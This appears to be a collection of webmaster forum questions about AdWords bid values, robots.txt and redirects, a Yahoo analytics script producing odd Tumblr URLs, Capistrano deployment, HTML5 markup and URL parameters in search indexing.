Often when I am using the Adwords Keyword tool I find keywords with a CPC of $0.05... I mean VERY often. Is this like base level when it comes to PPC or is this a possible error? For example, with a few keywords I have targetted with a 0.05 CPC, I often find a PPC of 0.25 or more. Obviously, this is because my content is triggering other keywords, although it is centered around a 0.05 keyword. I have found several keywords that have over 200,000 searches using the [exact] search parameter but have a CPC of $0.05. I plan on writing content to cover these keywords, but I am trying to figure the approximate value of these keywords. 0.05 leads me to believe there are no advertisers so IF someone were to advertise and use this keyword, it would cost them ~0.05. But since there is obviously no demand for these keywords and thus they aren't getting bids, other ads MUST be shown. How can I predict the value of ads with a CPC of $0.05? Strange question I know, but I'm just trying to understand this a bit more.


Googlebot can't access my site when crawling from rootdomain

I can't explain why I get this message for my rootdomain result in Google : > trocmalin.com/ > > A description for this result is not available because of this site's > robots.txt – learn more. Here is my site specifics :   * vide-greniers.trocmalin.com is the site address   * www.trocmalin.com redirects (301) to vide-greniers.trocmalin.com   * trocmalin.com redirects (301) to vide-greniers.trocmalin.com too...              User-agent: *     Disallow: /orga/          User-agent: *     Disallow: /sitemap-update      Google results for vide-greniers.trocmalin.com are well rendered, as well as sub pages allowed for bots. But the result for my rootdomain (trocmalin.com) gives this message... Can you help me ?


Odd/faulty page links being served to Googlebot

Yahoo recently bought Tumblr, where I write fairly long form scientific pieces. I noticed recently that a new script had been added to the end of pages, and it seems to be interacting badly with the Google search bots. A hit today came to `/post/:id/:summary` where this is clearly just some sort of site scheme. It came from a page on _What is a gene, post-ENCODE?_ and when I searched for this title specifically for my site I also pulled up a second seemingly identical hit at               /page/:page      Searching for `site:<siteURL>/:page` comes up blank, presumably due to the punctuation but `site:<siteURL>/post/:id/:summary` confirms that it is just for this one article page. I went to use the 'remove URL' page on Google Webmaster Tools but it says the page is still live, i.e. it's either seeing my article or my entire homepage (when you go `/post/:id/:summary` you actually just get the root URL, and I don't want to remove that from Google!), advising I get the content removed before requesting it be cleared from their cache. I can't see how this site scheme is being generated (at least /sitemap1.xml doesn't give it like that anyway), but searching for `"/post/:id/:summary"` brought up code similar to what Yahoo are adding to sites:               (function() {                     var s = document.createElement('script');                     var el = document.getElementsByTagName('script')[0];                     s.src = ('https:' == document.location.protocol ? 'https://s' : 'http://l') + '.yimg.com/ss/rapid-3.14.js';                     s.onload = function(){                         var YAHOO = window.YAHOO;                         if (YAHOO) {                             YAHOO.i13n.beacon_server = 'nol.yahoo.com';                             var keys = { pd:'/post/:id/:summary', _li:0, i_rad:0, i_strm:0, b_id:66209497 };                             var conf = {                                                                 spaceid:1197719230,                                 client_only:1,                                 yql_enabled:false,                                 keys:keys                             }                             YAHOO.rapid = new YAHOO.i13n.Rapid(conf);                         }                     }                     el.parentNode.insertBefore(s, el);                 })();      It's pretty hard to see what this is doing, and all I'm wondering is whether   1. I've done something wrong in my page Javascript that is interfering with these variables in some way   2. How might I fix it?   3. Should I maybe contact some part of Google or Yahoo? If so where would I even start? I was going to put this on SO thinking it was a Javascript issue but assuming **1.** isn't the case I'll leave it here unless anyone here suggests otherwise. Likewise if this isn't suitable for a "pro webmasters" forum (it's a personal/professional development blog albeit using a custom domain).


Are there any stats for local Google v. Google.com usage?

Are there any stats for web usage which have attempted to measure how many users in a given country use Google. **com** and how many use the local Google (e.g. Google. **co.uk** )?


In a URI, what does the suffix ".do" stand for?

I see URI ending in ".do" on some enterprise websites. I've always been curious to know what that stands for, but my Google searches have so far not turned up an answer. Here is an example from ATT customer portal: https://www.att.com/view/displayFullBill.do What does the ".do" mean?


Help deploying using Capistrano to HostGator

My company uses HostGator to host our web sites, and I'm having a heck of a time figuring out what my final steps are to get a functioning RoR app up there. I've got all the way up to configuring mongrel (I think?) and being able to run deploy:cold without any errors. However, I can't seem to get the app to show up in the designated CPanel area (HG says the name "current" is already reserved for another application), and I'm not sure which port was allowed for me to use. I've opened tickets with Customer Support just to be told that "You can't access the database with root"... Totally unrelated to my question... So I think I'm in the final stretch and if anyone has any insight or experience with HostGator, please cue me in.


Does putting Google Custom Search within your site affect traffic negatively?

On the 26th of November we put **Google Custom Search** on our site. The day after and all days following traffic dropped off noticeably. This could just be pure coincidence, but it seems odd to have affected the traffic for a whole month. Does anyone know whether there is a known affect from putting **Google Custom Search** within your site?


Is using divs instead of new HTML5 tags considered a bad practice?

I've found a website that uses `divs` with classes that are names of new `HTML5` elements. At first it looked really ugly and silly, but then I gave it a secound thought and after all it's kind of smart and doesn't require older browsers to download `html5shiv.js` (which is IMHO quite important as IE6-IE8 machines are often older/slower pcs on slow networks). For example: Supports all browsers:               <div class="section">        some content     </div>      Doesn't support IE6, IE7, IE8:               <section>        some content     </section>      I've checked Twitter and Facebook and they're doing similar thing too, do you think it's worth sticking to the first (`div`) style of coding and wait IE8 to drop way below 1% or I'm overreacting and a few kilobytes won't change that much?


Will Google preserve URL parameters when indexing my site if the explicit in the site and/or site map

I have written some functionality that opens tabbed content on page when visiting a page via a URL with certain parameters. What i have been asked is that will Google, or any other search engine, preserve these URL parameters once my site has been indexed? Therefore when a user that receives said URL as a result visits the site the functionality will be preserved.